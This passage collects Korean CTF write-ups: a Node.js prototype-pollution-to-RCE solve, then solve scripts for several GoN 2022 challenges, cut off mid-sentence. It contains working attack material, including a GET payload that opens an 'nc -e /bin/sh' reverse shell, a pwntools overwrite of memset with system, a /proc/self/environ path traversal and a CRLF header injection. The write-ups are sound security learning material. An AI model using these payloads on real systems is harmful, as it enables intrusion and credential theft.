한 줄로 코드가 작성되있어서 보기 힘들 수 있는데 잘 읽어보면 그냥 prototype pollution이 발생한다.

그럼 이제 취약점을 이용해서 RCE를 얻어야하는데 RCE에 쓸만한 함수는 require 밖에 없다.

https://arxiv.org/abs/2207.11171

다행히도 최근에 prototype pollution에 대해 정리된 논문이 나왔고 이 안에 require안에서 prototype pollution으로 원하는 함수를 import하는 법에 대해 잘 정리되어있었다.

하지만 node v16.16.0에선 성공했는데 문제가 돌아가는 환경인 node v18.8.0에선 아무리 돌려도 익스가 불가능했다.

이유는 다음과 같다.

https://github.com/nodejs/node/commit/a8c24185f8c156b204175c76de68113d950a5e6f#diff-5b5902273122e094ff474fda358605ffa45a4a58b51cd0bf4c1acb93779df142

코드를 리팩토링하면서 정규식 관련 부분을 수정했는데 lib/internal/modules/cjs/loader.js의 resolveExports함수 부분의 코드가 아래와 같이 변경되었다.

function resolveExports(nmPath, request) {
  // The implementation's behavior is meant to mirror resolution in ESM.
  const { 1: name, 2: expansion = '' } =
  -    StringPrototypeMatch(request, EXPORTS_PATTERN) || [];
  +   RegExpPrototypeExec(EXPORTS_PATTERN, request) || kEmptyObject;
  if (!name)
    return;
  const pkgPath = path.resolve(nmPath, name);

원랜 StringPrototypeMatch함수에서 false를 반환했을 때 || 연산자에 의해 []가 사용되고 이때 name, expansion 변수를 prototype pollution으로 맘대로 덮어서 익스플로잇이 가능했는데 이젠 kEmptyObject를 리턴하기 때문에 exploit이 불가능하다.

kEmptyObject = ObjectFreeze(ObjectCreate(null));

이 방법으론 익스플로잇이 불가능하기 때문에 새로운 가젯을 찾아야하는데 require 함수에 breakpoint를 걸고 호출을 따라가다보면 흥미로운 부분을 발견할 수 있다.

require 함수의 호출을 따라가다보면 tryself함수를 호출하는데 코드는 아래와 같다.

function trySelf(parentPath, request) {
  if (!parentPath) return false;

  const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
  if (!pkg || pkg.exports === undefined) return false;
  if (typeof pkg.name !== 'string') return false;

  let expansion;
  if (request === pkg.name) {
    expansion = '.';
  } else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
    expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
  } else {
    return false;
  }

  try {
    return finalizeEsmResolution(packageExportsResolve(
      pathToFileURL(pkgPath + '/package.json'), expansion, pkg,
      pathToFileURL(parentPath), cjsConditions), parentPath, pkgPath);
  } catch (e) {
    if (e.code === 'ERR_MODULE_NOT_FOUND')
      throw createEsmNotFoundErr(request, pkgPath + '/package.json');
    throw e;
  }
}

readPackageScope는 현재 path를 기준으로 상위 폴더로 올라가며 package.json을 찾는다. 만약 최상위 디렉토리까지 올라가는 동안 package.json을 발견하지 못한다면 함수는 false를 반환해준다. 그럼 패치 이전과 동일하게 {}가 사용될 것이고 pkg, pkgPath 변수를 맘대로 컨트롤 할 수 있다.

{"__proto__":{"data":{"name":"./usage","exports":{".":"./test.js"}},"path":"/tmp"}

만약 위와 같이 pollution을 시도하면 data 변수에는 {"name":"./usage","exports":{".":"./test.js"}}, pkgPath변수에는 /tmp가 들어가게 된다.

그럼 try block 안에서 packageExportsResolve를 호출하게 되는데
이때 require 함수는 우리가 pollution한 path에서 usage.js를 찾으려고 시도한다.
근데 해당 경로엔 usage.js가 없기 때문에 pollute된 exports property를 이용하여 모듈에 접근할 수 있는 entrypoint를 가져오고
최종적으론 해당 경로엔 package.json이 없음에도 valid한 module 경로로 착각하여 ./test.js를 import하게 된다.

이제 맘대로 js 파일을 import하는 것이 가능한데 RCE를 위해선 child_process를 사용하는 js 파일을 찾아야한다.
그리고 아주 좋은 예제가 있었다.

/opt/yarn~~ 경로에 존재하는 preinstall.js를 이용하는 것인데
환경변수에 npm_config_global이 설정되있다면 child_process를 이용하여 무언가를 실행해준다.

if (process.env.npm_config_global) {
    var cp = require('child_process');
    var fs = require('fs');
    var path = require('path');

    try {
        var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
            encoding: 'utf8',
            stdio: ['ignore', undefined, 'ignore'],
        }).replace(/\n/g, '');

        var manifest = require('./package.json');
        var binNames = typeof manifest.bin === 'string'
            ? [manifest.name.replace(/^@[^\/]+\//, '')]
            : typeof manifest.bin === 'object' && manifest.bin !== null
            ? Object.keys(manifest.bin)
            : [];

        binNames.forEach(function (binName) {
            var binPath = path.join(targetPath, binName);

            var binTarget;
            try {
                binTarget = fs.readlinkSync(binPath);
            } catch (err) {
                return;
            }

            if (binTarget.startsWith('../lib/node_modules/corepack/')) {
                try {
                    fs.unlinkSync(binPath);
                } catch (err) {
                    return;
                }
            }
        });
    } catch (err) {
        // ignore errors
    }
}

문제에서 준 환경에도 동일하게 preinstall.js가 존재하고 환경변수는 prototype pollution을 이용하여 설정해주면 되기 때문에 페이로드 가져와서 RCE해주면 된다.

GET /?{"__proto__":{"env":{"EVIL":"console.log(require('child_process').execSync('nc${IFS}server${IFS}1234${IFS}-e${IFS}/bin/sh').toString())//"},"NODE_OPTIONS":"--require=/proc/self/environ","npm_config_global":1,"data":{"name":"./usage","exports":{".":"./preinstall.js"}},"path":"/opt/yarn-v1.22.19/","__proto__":{"a":1}}} HTTP/1.1

위의 페이로드를 burp suite를 이용하여 전송해주면 reverse shell을 얻을 수 있다.

FLAG : BALSN{Pr0toTyP3_PoL1u7i0n_1s_so_Cooooooool!!!}

2022 Fall GoN Open Qual CTF writeup

as3617 — Thu, 1 Sep 2022 18:33:50 +0900

3등했다.

A: Zero Gravity

주어진 바이너리를 분석해보면 oob 취약점이 발생한다.

릭은 생각보다 간단하게 잘 되는데 overwrite를 할 때 부동소수점 연산의 정확도가 낮아서 맘대로 잘 안 덮혀서 좀 고생했다.

Float 연산해서 넣어주면 이제 제대로 덮을 수 있는데 memset함수의 첫 번째 인자가 우리가 입력하는 데이터여서 그냥 memset을 system함수로 덮어주면 된다.

solve.py

from pwn import *
import struct

# p = process("./zero_gravity")
p = remote("host1.dreamhack.games", 18359)
e = ELF("./zero_gravity")
# libc = e.libc
libc = ELF("./libc.so.6")

def read(index):
    p.sendlineafter(">>", "r")
    p.sendlineafter(">>", str(index))
    return float(p.recvline())

def add(index, value):
    p.sendlineafter(">>", "a")
    p.sendlineafter(">>", str(index))
    p.sendlineafter(">>", str(value))

f2u = lambda x: u32(struct.pack("<f", x))
u2f = lambda x: struct.unpack("<f", p32(x))[0]

add(16, u2f(0x41414141))

libc_base = (f2u(read(-25)) << 32) | f2u(read(-26)) - libc.sym["__isoc99_scanf"]

leak = f2u(read(-30))
add(-30, u2f((libc_base + libc.sym["system"]) & 0xFFFFFFFF) - u2f(leak))

p.sendlineafter(">>", "sh")

p.interactive()

B: Bomblab - Hard

주어진 bomb 바이너리를 분석해보면 6개의 일반 스테이지와 1개의 히든 스테이지가 있음을 알 수 있으며, 각종 안티디버깅 기법이 걸려있는 것을 알 수 있다.

안티디버깅 기법은 간단히 바이너리를 nop 패치하여 우회할 수 있으며, 6개의 일반 스테이지는 간단한 리버싱을 통해 그에 맞는 해답을 구해 넘어갈 수 있다.

히든 스테이지의 경우에는 표면상으로는 입력을 int로 받고 비교를 double로 해서 통과가 불가능해 보이지만, libc 환경을 맞춰주고 디버깅해보면 return address를 ROP payload로 채워서 특정 로직을 수행하는 것을 확인할 수 있다.

열심히 gdb에서 엔터를 눌러가며 분석하면 어렵지 않게 로직을 파악해 알맞는 해답을 구할 수 있다.

solve.py

from pwn import *
from z3 import *

p = process(argv=["./ld-linux-x86-64.so.2", "./bomb"], env={"LD_PRELOAD" : "./libc.so.6"})

print("[*] Phase 1: ", end="")
enc = [0x83, 0x9C, 0x89, 0x82, 0x93, 0x9F, 0x89, 0x9F, 0x8D, 0x81, 0x89]
answer = bytes(map(lambda x: x ^ 0xCC, enc)).decode()
print(answer)
p.sendline(answer)

print("[*] Phase 2: ", end="")
arr = [0]
for i in range(1, 6):
  arr.append(arr[i-1] + ((i * (i + 1)) // 2))
answer = " ".join(map(str, arr))
print(answer)
p.sendline(answer)

print("[*] Phase 3: ", end="")

s = Solver()
v1 = BitVec("v1", 64)
v2 = BitVec("v2", 64)

s.add(0 <= v1)
s.add(v1 <= 0xFFFFFFFF)
s.add(0 <= v2)
s.add(v2 <= 0xFFFFFFFF)
s.add(((v1 * 0x1AD7E715) >> 53) * 0x500BF == (v1 - v2) / 0x3D)

s.check()
m = s.model()
answer = "{} {}".format(m[v1], m[v2])
print(answer)
p.sendline(answer)

print("[*] Phase 4: ", end="")

v1 = BitVec("v1", 32)
v2 = BitVec("v2", 32)

s.add(v1 <= 0x7FFFFFFF)
s.add(v2 <= 0x7FFFFFFF)
s.add((v1 * (v1 * (v1 * v1 - v2) - v2 * v1) - v2 * (v1 * v1 - v2)) == 0xC6BE719)

s.check()
m = s.model()
answer = "{} {} {}".format(m[v1], m[v2], "c0m0r1bb")
print(answer)
p.sendline(answer)

print("[*] Phase 5: ", end="")
answer = "0.70710676" # found with some brute-forcing :)
print(answer)
p.sendline(answer)

print("[*] Phase 6: ", end="")
answer = "12 15 2 17 18 21 7 19 23 31 41 59" # found with binary reversing (prime table)
print(answer)
p.sendline(answer)

print("[*] Secret Phase: ", end="")

result = b"[R0P_M4DN3SS!!]"
answer = ""
for r in result.hex():
  answer += chr(int(r, 16) + 0x41)
print(answer)
p.sendline(answer)

p.recvuntil("Congratulations! You\"ve defused the bomb!\n")
flag = p.recvline().strip().decode()
print("[+] FLAG: {}".format(flag))

p.close()

C: pprintable

문제 제목과 같이 printable한 flag를 두 조각으로 나눠 p와 q를 설정했으며, p와 q의 비트 약 33%를 알려주었기 때문에 p와 q의 각 바이트마다 어느 정도 경우의 수를 구할 수 있다.

또한 N = p * q 이므로 N ≡ p * q (mod 2 ^ k) 임을 이용해 하위 바이트부터 브루트포싱을 수행해 p와 q를 구할 수 있다.

solve.py

import string

N = 0x12376eadc9b0bd1f13fa9d904f5a1a75bb7ddaaa77ec5b1e8dec4cb7532b662fcc63a0dfa982e1702be449c9b295bf7a0b7c6ba3dc7aaf3856d681601e723aa3bce3e0cd064793a9c6b00eb01d3e3f0fbceddb208cba2598d9d6a35f3cf8623a1389686807fb5f8f53dd0a7f544c02d030f498f7aa315b7547783399bc88cd3e2859b6786b858a35593537ead5a0cc48401a24cefe6ac6997035f6571af098d5d5b24313437fd89d22cce7fa5907d73c219b609eeea9bcffab0f18504e1d2ed5669752e21dd17b57ea5cf6e6efa76cd965e4589539dc087e152fb4d3f1f90edcdcab22b71b326a3e7e0674f8820a24aa3be15756db2e908d434b80419061bf45
e = 0x10001
p_redacted = 0x50b4040146040415a04084000094153182141460200401063040440024200046055600042240040410248014e00410444640240166000001e09141101084025181052000c30004260000406100601226058401613084a0040492001040404620100401344612000215221412811086840005d06001060000008460040025000
p_mask = 0x250b70401c6444455a8418d2800945d3182dc1c7060a4010630c0c4282c2a0047575e8084aa4207ac592ca034e02e78445640f40366020089e0b9791119940b53818d2842c3082ea70818e0610a601b2e35844169708ca00404931912e04046e01004893e4632c80a1da23c9ab310868d402dd0600307283300cd680c1a25602
q_redacted = 0x80902304402050a7145440048082208004041205b60014000102340106007002a240b0108404005604000190060092010010004504c2104002100140009020270500022101530484551206642004c1424200000202040042210204c4143704000480101004809114629230312040040000600400420520943204412216404
q_mask = 0xaa0809033046833d9e7945e420480822090ac0c1a35bf00b48a21223c23060070c2a240b0328c4c235e0408819817209a11531101c50cd21a6012309b40c292302f05000221c353a5845f126e65210ec9c24a0001820284004bf1a206c45637b4500680581894d0d1d46bb2b039a2e84d008a604508420d219c32166b2276c04
ct = 0x97090fc71e4c4c7fe52fb9c5cafde7bae8cf5f911c2755174f3a61515f475c7000d127e23ad99498bd58078abe2890fe40c64067116c66be74ac5422e731905103f4ecc4ae6cf9478580d6fb373744b897caf2b95f01531b626afb46eb88c0f5f419635a27f903ab8ffc55094e015008cbb9520f07755da279226fefa8859bfef694b86ca3fdf88042361d18ecb7ae1ecf98041140b3f167687f45e3da914ee35f9d345782438018310da609578a1047a99a9c54ff846eb2017ac26a0cfb8f5e542c0c7feba904e0ff15a6e2712c2135f9c80b057185cd31a8e9e5371194d063776bdf3537837c705d3761dd6f0ec9419034c294914015bc0e3fbea474fdc15

p_redacted = bin(p_redacted)[2:].zfill(1024)
p_mask = bin(p_mask)[2:].zfill(1024)

p_redacted_list = []
for i in range(0, 1024, 8):
    p_redacted_list.append(p_redacted[i:i+8])

p_mask_list = []
for i in range(0, 1024, 8):
    p_mask_list.append(p_mask[i:i+8])

p_possible_list = []
for i in range(1024 // 8):
    charset = list(string.ascii_letters + "_{}")
    for j in range(8):
        if p_mask_list[i][j] == "1":
            charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == p_redacted_list[i][j], charset))
    p_possible_list.append(list(map(ord, charset)))
p_possible_list.reverse()

q_redacted = bin(q_redacted)[2:].zfill(1024)
q_mask = bin(q_mask)[2:].zfill(1024)

q_redacted_list = []
for i in range(0, 1024, 8):
    q_redacted_list.append(q_redacted[i:i+8])

q_mask_list = []
for i in range(0, 1024, 8):
    q_mask_list.append(q_mask[i:i+8])

q_possible_list = []
for i in range(1024 // 8):
    charset = list(string.ascii_letters + "_{}")
    for j in range(8):
        if q_mask_list[i][j] == "1":
            charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == q_redacted_list[i][j], charset))
    q_possible_list.append(list(map(ord, charset)))
q_possible_list.reverse()

mask = 0xFF

pq_found_list = [(0, 0)]
for i in range(len(p_possible_list)):
    pq_found_list_t = []

    for p_found, q_found in pq_found_list:
        for p_possible in p_possible_list[i]:
            for q_possible in q_possible_list[i]:
                p_guess = (p_possible << (i * 8)) | p_found
                q_guess = (q_possible << (i * 8)) | q_found
                if (p_guess * q_guess) & mask == N & mask:
                    pq_found_list_t.append((p_guess, q_guess))

    pq_found_list = pq_found_list_t[:]
    mask = (mask << 8) | 0xFF

p_found, q_found = pq_found_list_t[0]
assert p_found * q_found == N

print("""
[+] Found p = {}
[+] Found q = {}
""".format(hex(p_found), hex(q_found)))

flag = (bytes.fromhex(hex(p_found)[2:]) + bytes.fromhex(hex(q_found)[2:])).decode()
print("[+] FLAG: {}".format(flag))

D: Obstacle

바이너리를 IDA로 뜯어보면 Objective-C로 컴파일한 바이너리라는 것을 알 수 있다.

평소에 보던 바이너리와 형태가 조금 다르지만 gdb를 통한 동적 분석을 겸하여 분석해보면 어렵지 않게 CBC 모드 블록 암호화 알고리즘을 파악할 수 있다.

solve.py

import struct

KEY = b"Sup3r_s4f3_k3y\x00\x00"
IV = b"Sup3r_4ws0me_1v\x00"

xor = lambda a, b: list(map(lambda x: x[0] ^ x[1], zip(a, b)))

def round1_enc(block):
    block_enc = xor(block, KEY)
    return block_enc

def round1_dec(block):
    block_dec = xor(block, KEY)
    return block_dec

def round2_enc(block):
    v1 = struct.unpack(">Q", bytes(block[:8]))[0]
    v2 = struct.unpack(">Q", bytes(block[8:]))[0]

    block_enc = []
    block_enc.extend(struct.pack(">Q", v2))
    block_enc.extend(struct.pack(">Q", (v1 ^ ((v2 >> 19) | (v2 << 13))) & 0xFFFFFFFFFFFFFFFF))

    return block_enc

def round2_dec(block):
    v1 = struct.unpack(">Q", bytes(block[:8]))[0]
    v2 = struct.unpack(">Q", bytes(block[8:]))[0]

    block_dec = []
    block_dec.extend(struct.pack(">Q", (v2 ^ ((v1 >> 19) | (v1 << 13))) & 0xFFFFFFFFFFFFFFFF))
    block_dec.extend(struct.pack(">Q", v1))

    return block_dec

__ROL1__ = lambda x, n: ((x << n) & 0xFF) | (x >> (8 - n))

def sbox_f(v23):
    if v23 == 0:
        v33 = 99
    else:
        v24 = 1
        v25 = 1

        # do
        v26 = v25 ^ (2 * v25) ^ 0x1B
        v27 = (v25 & 0x80) != 0
        v25 ^= 2 * v25
        if ( v27 ):
            v25 = v26
        v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
        if ( (v24 & 0x80) != 0 ):
            v24 ^= 9

        # while
        while v23 != (v25 & 0xFF):
            v26 = v25 ^ (2 * v25) ^ 0x1B
            v27 = (v25 & 0x80) != 0
            v25 ^= 2 * v25
            if ( v27 ):
                v25 = v26
            v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
            if ( (v24 & 0x80) != 0 ):
                v24 ^= 9

        v24 &= 0xFF
        v33 = __ROL1__(v24, 3) ^ __ROL1__(v24, 2) ^ v24 ^ 0x63 ^ __ROL1__(v24, 1) ^ __ROL1__(v24, 4)

    return v33

sbox = {}
sbox_inv = {}

for i in range(0x100):
    sbox[i] = sbox_f(i)
    sbox_inv[sbox_f(i)] = i

def round3_enc(block):
    block_enc = [None for _ in range(0x10)]
    i = 1
    for j in range(0x10):
        block_enc[i] = sbox[block[j]]
        i = (i * 9 + 3) & 0xF
    return block_enc

def round3_dec(block):
    block_dec = []
    i = 1
    for _ in range(0x10):
        block_dec.append(sbox_inv[block[i]])
        i = (i * 9 + 3) & 0xF
    return block_dec

flag_enc = list(bytes.fromhex("483918c5094768c537f60136658101142f7f30d93639b93020d8da002fbd1bcc186192025fe8b247530792b520c6c1a3b83789b93bc54ce30ae5d4f058213d45"))
flag_dec = b""

for i in range(0, len(flag_enc), 16):
    block = flag_enc[i:i+16]
    block = round2_dec(block)
    block = round1_dec(block)
    for _ in range(101):
        block = round3_dec(block)
        block = round2_dec(block)
        block = round1_dec(block)
    if i == 0:
        block = xor(block, IV)
    else:
        block = xor(block, flag_enc[i-16:i])
    flag_dec += bytes(block)

flag_dec = flag_dec.decode()
print("[*] FLAG: {}".format(flag_dec))

F: Heliodor

코드를 읽어보면 우리가 원하는 파일을 맘대로 다운로드할 수 있다.

https://github.com/nodejs/node/issues/43669

하지만 위의 이슈로 인해 플래그가 들어있는 /proc/self/environ을 받을 수 없다.

몇 번 이 이슈를 경험해본 적이 있어서 어떻게 하면 해결할 수 있을지 고민을 좀 해봤는데 레이스컨디션을 이용하여 fs.stat에서 /etc/passwd와 같은 파일을 가리켜서 정상적인 size를 반환하게 한 상태에서 fs.createReadStream에서 /proc/self/environ을 읽게 만들면 어떨까라는 생각이 들었고

이를 토대로 익스플로잇을 작성해서 돌려보니 실제로 작동했다.

solve.py

from pwn import *

context.log_level = "debug"
p1 = remote("host1.dreamhack.games",20043)
p2 = remote("host1.dreamhack.games",20043)
p3 = remote("host1.dreamhack.games",20043)

payload1 = """import requests

while True:
    requests.get("http://10.88.2.1:58283/query/view/..proc..self..environ")

"""

payload2 = """import requests

while True:
    requests.get("http://10.88.2.1:58283/query/view/..etc..passwd")

"""

payload3 = """import requests

while True:
    r = requests.get("http://10.88.2.1:58283/query/view/..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..fd..21").text
    if "error" not in r:
        print("find : " +r)


"""
p1.sendlineafter("$","python3")
p1.sendlineafter(">>>",payload1)

p2.sendlineafter("$","python3")
p2.sendlineafter(">>>",payload2)

p3.sendlineafter("$","python3")
p3.sendlineafter(">>>",payload3)

p3.interactive()

G: Emerald Tablet

https://blog.sonarsource.com/disclosing-information-with-a-side-channel-in-django

아주 좋은 레퍼런스가 있다. 정말 친절하게 잘 설명해놔서 그냥 저대로 따라하면 된다.

solve.py

import requests
from bs4 import BeautifulSoup

url = "http://host1.dreamhack.games:10222/list/?sort=key.urn."
key = ""
for k in range(9,45):
#28,23,32
    url_ = url + str(k)
    res = requests.get(url_).text
    soup = BeautifulSoup(res, "html.parser")
    data = soup.select_one("table.table")
    t = soup.find_all("th",{"scope":"row"})
    uuid = {"0":[],"1":[],"2":[],"3":[],"4":[],"5":[],"6":[],"7":[],"8":[],"9":[],"a":[],"b":[],"c":[],"d":[],"e":[],"f":[]}
    tmp = -1
    j = 0
    for i in t:
        _ = int(i.get_text())
        if tmp > _:
            if j == 0:
                j = 1
            elif j == 1:
                j = 2
            elif j == 2:
                j = 3
            elif j == 3:
                j = 4
            elif j == 4:
                j = 5
            elif j == 5:
                j = 6
            elif j == 6:
                j = 7
            elif j == 7:
                j = 8
            elif j == 8:
                j = 9
            elif j == 9:
                j = "a"
            elif j == "a":
                j = "b"
            elif j == "b":
                j = "c"
            elif j == "c":
                j = "d"
            elif j == "d":
                j = "e"
            elif j == "e":
                j = "f"
        tmp = _
        uuid[str(j)].append(_)
        if k == 17:
            key += "-"
            break
        elif k == 22:
            key += "-"
            break
        elif k == 23:
            key += "4"
            break
        elif k == 27:
            key += "-"
            break
        elif k == 28:
            key += "?"
            break
        elif k == 32:
            key += "-"
            break
        elif _ == 1:
            key += str(j)
            break
    print(key)

print(key)

stable한 익스를 위해 글을 300~400개 정도 등록해두고 익스플로잇을 돌리면 flag 게시글의 uuid가 나온다.

중간에 물음표가 들어간 부분은 [a-f0-9]의 범위 안에서 돌려가면서 넣어보면 된다.

M: cheat

client 바이너리를 분석해보면 아래와 같이 움직이면 flag를 얻을 수 있을거라 추측할 수 있다.

11111110000001111111
10000010111001000000
10000010101001000000
10111110101001000000
10100000101001111110
10111111101000000010
11111110001111111110
00000010000000000000
11111011111101111111
10001000000000000001
11111111111101111101
00001000000000000101
11111000000000000111
10000000000000000000
11111111111111111100
11000000000000000100
11000111110000111100
11000100010111100111
11111100110100111101
11111111100111100001

server 바이너리를 분석해보면 1초에 최대 2칸 움직일 수 있음을 생각하며 잘 움직이면 flag를 얻을 수 있다.

solve.py

from pwn import *

context.log_level = "error"

p = 

pos = [0, 19]
def send_pos():
    p.sendline("{} {}".format(pos[0], pos[1]))
    sleep(1)

def move(x):
    global pos

    if x == "w":
      pos[0] -= 1
    elif x == "a":
      pos[1] -= 1
    elif x == "s":
      pos[0] += 1
    elif x == "d":
      pos[1] += 1
    elif x == "W":
      pos[0] -= 2
    elif x == "A":
      pos[1] -= 2
    elif x == "S":
      pos[0] += 2
    elif x == "D":
      pos[1] += 2

    send_pos()

send_pos()

s = "aaaaaassssdddddssaaaaaaaawwwwwaassssaaaaaawwddddwwwaaaaaassssssddddddssdddddDddddddssssaawwaaaaAaaaaaaaaaaawwddddsSsaaaasssssssddddddddwdwwaaaassaaaawwwwddddddddddddddddssaaasaaassdddwdddwddss"
for c in s:
  move(c)

p.interactive()

N: Private Storage

간단한 rc4 문제다. 암호화된 플래그를 주기 때문에 고정된 키를 사용할 때 발생하는 rc4의 취약한 특징을 이용해주면 플래그를 복호화할 수 있다.

https://github.com/gexxxter/RC4StaticKeyAttack

마침 좋은 스크립트가 있어서 이를 수정해서 돌려보니 플래그를 얻을 수 있었다.

import sys
import base64
import zlib
import string
from pwn import *
#context.log_level="debug"
p = remote("host3.dreamhack.games",15867)
def decrypt(plaintext,ciphertext,wantdecrypt):
    knownPlaintext = zlib.compress(plaintext.encode())
    knownCiphertext = ciphertext
    unknownCiphertext = wantdecrypt

    decrypted = bytearray()
    for i in range(0, len(unknownCiphertext)):
        p = knownPlaintext[i % len(knownPlaintext)]
        c1 = knownCiphertext[i % len(knownCiphertext)]
        c2 = unknownCiphertext[i] 
        decrypted.append(p ^ c1 ^ c2)

    print(zlib.decompress(decrypted))
    print("hi")
    sys.exit()

def writeFile(name,data):
    p.sendlineafter(">>","3")
    p.sendlineafter(">>",name)
    p.sendlineafter(">>",data)

def readFile(name):
    p.sendlineafter(">>","2")
    p.sendlineafter(">>",name)
    p.recvuntil(": ")
    data =p.recvuntil("\n")
    return base64.b64decode(data)

enc_flag = readFile("flag.txt")
print(len(enc_flag))
for i in range(1,100):
    print(i)
    text = "".join(random.choice(string.ascii_uppercase+ string.ascii_lowercase+ string.digits) for _ in range(i))
    writeFile(str(i),text)
    tmp = readFile(str(i))
    try:
        decrypt(text,tmp, enc_flag)
    except Exception as e:
        print(e)
        print("fail")
        pass

O: Checkers

코드가 많이 복잡한 문제지만 생각보다 간단하다.

Encrypt 로직을 잘 보면 처음 코드가 실행된 이후엔 같은 문자열에 대해 항상 동일한 값이 나오게 되며 입력된 글자를 2~3개 단위로 잘라서 암호화한다.

그렇기 때문에 그냥 브포 코드 짜서 flag랑 비교하면서 돌려주면 된다.

#!/usr/bin/python3
from pwn import *
import sys
import argparse

parser = argparse.ArgumentParser()

parser.add_argument("--prefix", help="")
args = parser.parse_args()
tmp = args.prefix
string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_/"

p = remote("host3.dreamhack.games",15261)

p.sendlineafter("Exit\n","3")
p.recvuntil("Flag :")
enc_flag = p.recvuntil("\n")[4:][:-2].decode()
print(enc_flag)
#tmp="STRADDLING_CHECKERBiO"
for i in range(0,57):
    cnt = 1
    for j in string:
        tmp_ = tmp + j
        print(tmp_)
        p.sendlineafter("Exit\n","1")
        p.sendlineafter("message\n",tmp_)
        p.recvuntil("message :")
        enc_data = p.recvuntil("\n")[:-1].decode()
        if enc_data == enc_flag[:len(enc_data)]:
            tmp += j
            cnt = 0
        else:
            continue

P: farmer

ext4 파일시스템 덤프가 주어진다. 다음과 같은 bash script를 실행해 mount할 수 있다.

#!/bin/bash
sudo mkdir /mnt/farmer
sudo mount ./dump /mnt/farmer

/home/ubuntu 디렉토리에서 바이너리와 암호화된 것으로 추정되는 파일들을 확인할 수 있다.

$ ls /mnt/farmer/home/ubuntu/
binary       flag.png.01  flag.png.03  flag.png.05  flag.png.07  flag.png.09
flag.png.00  flag.png.02  flag.png.04  flag.png.06  flag.png.08

바이너리를 분석해보면 srand(time(NULL))로 랜덤 시드를 설정하고 rand()를 사용해 나온 값으로 각종 암호화를 진행하는 것을 확인할 수 있다.

암호화된 파일들의 수정 시각을 확인해 랜덤 시드를 알아내 이를 통해 복호화를 진행할 수 있다.

solve.py

from ctypes import *
from Crypto.Util.Padding import unpad
import os

libc = CDLL("libc.so.6")

try:
    os.remove("flag.png")
except:
    pass

for n in range(10):
    path = "/mnt/farmer/home/ubuntu/flag.png.0{}".format(n)
    libc.srand(int(os.path.getmtime(path)))
    data = list(open(path, "rb").read())

    xor_key = [libc.rand() & 0xFF for _ in range(0x10)]

    enc_list = []

    for i in range(0x40):
        mode = libc.rand() % 3

        if mode == 0:
            list1 = list()
            list2 = list()
            sbox = {}

            for j in range(0x100):
                list1.insert(0, j)
            for j in range(0x100):
                r = libc.rand() % (256 - j)
                for _ in range(r):
                    list2.insert(0, list1.pop(0))
                v = list1.pop(0)
                for _ in range(r):
                    list1.insert(0, list2.pop(0))
                sbox[j] = v

            enc_list.append((mode, sbox))

        elif mode == 1:
            list1 = list()
            list2 = list()
            shuffle_list = list()

            for j in range(0x10):
                list1.insert(0, j)
            for j in range(0x10):
                r = libc.rand() % (16 - j)
                for _ in range(r):
                    list2.insert(0, list1.pop(0))
                v = list1.pop(0)
                for _ in range(r):
                    list1.insert(0, list2.pop(0))
                shuffle_list.append(v)

            enc_list.append((mode, shuffle_list))

        elif mode == 2:
            enc_list.append((mode, xor_key))

    for e_mode, e_arg in enc_list[::-1]:
        if e_mode == 0:
            sbox_inv = {v: k for k, v in e_arg.items()}
            for j in range(0, len(data), 16):
                for k in range(0x10):
                    data[j+k] = sbox_inv[data[j+k]]
        elif e_mode == 1:
            for j in range(0, len(data), 16):
                data_t = data[j:j+16][:]
                for k in range(0x10):
                    data[j+k] = data_t[e_arg[k]]
        elif e_mode == 2:
            for j in range(0, len(data), 16):
                for k in range(16):
                    data[j+k] ^= e_arg[k]

    with open("flag.png", "ab") as f:
        f.write(unpad(bytes(data), 16))

Q: API Portal

flag를 얻으려면 flag/flag.php로 리퀘스트를 보내야한다. 다행히도 proxy/post.php에서 내부에서 리퀘스트를 보낼 수 있는 기능을 지원해준다.

$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";

$ctx = stream_context_create(array(
    "http" => array(
        "method" => "POST",
        "content" => "", //TODO: implement
        "header" => $header
    )
));

Post data를 컨트롤 할 수 없을 것처럼 보이지만 header부분에서 crlf injection이 된다. 그걸로 post data를 적절하게 구성해준 다음 서버로 요청을 보내면 플래그를 얻을 수 있다.

challenge_server?action=net/proxy/post&url=127.0.0.1/%3faction=flag/flag&%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0amode=write&dbkey=a&key=a

위와 같이 보내면 flag를 base64 인코딩해서 내 db에 넣을 수 있고 read기능을 이용해서 flag를 읽어주면 된다.

R: 100-100

<?php 
include "tools.php";

header("Content-Security-Policy: default-src 'none'; base-uri 'none'; navigate-to 'none';");
if($_GET["extreme"])
    header($_GET["extreme"], false); // FYI: second "false" means "don"t override existing header"

function simple_template($input) {
    $input = str_replace("{{flag}}", get_flag(), $input);
    $input = str_replace("{{hint}}", get_hint(), $input);
    $input = str_replace("{{coke}}", "pepsi", $input);
    $input = str_replace("{{mintchoco}}", "<h1><b>NOT toothpaste</b></h1>", $input);
    $input = str_replace("{{referer}}", htmlspecialchars($_SERVER["HTTP_REFERER"]), $input);
    $input = str_replace("{{get0}}", htmlspecialchars($_GET[0]), $input);
    $input = str_replace("{{random}}", rand(100000, 999999), $input);
    return $input;
}

?>

<?= simple_template(substr($_GET["content"], 0, 100)) // wow one more 100 ?>

헤더를 맘대로 컨트롤 할 수 있으며 body에 원하는 데이터를 넣을 수 있다.

하지만 csp로 인해 script를 사용할 수 없으며 outbound 연결은 막혀있다고 한다. 그럼 이제 script없이 post data를 보내야 하는데

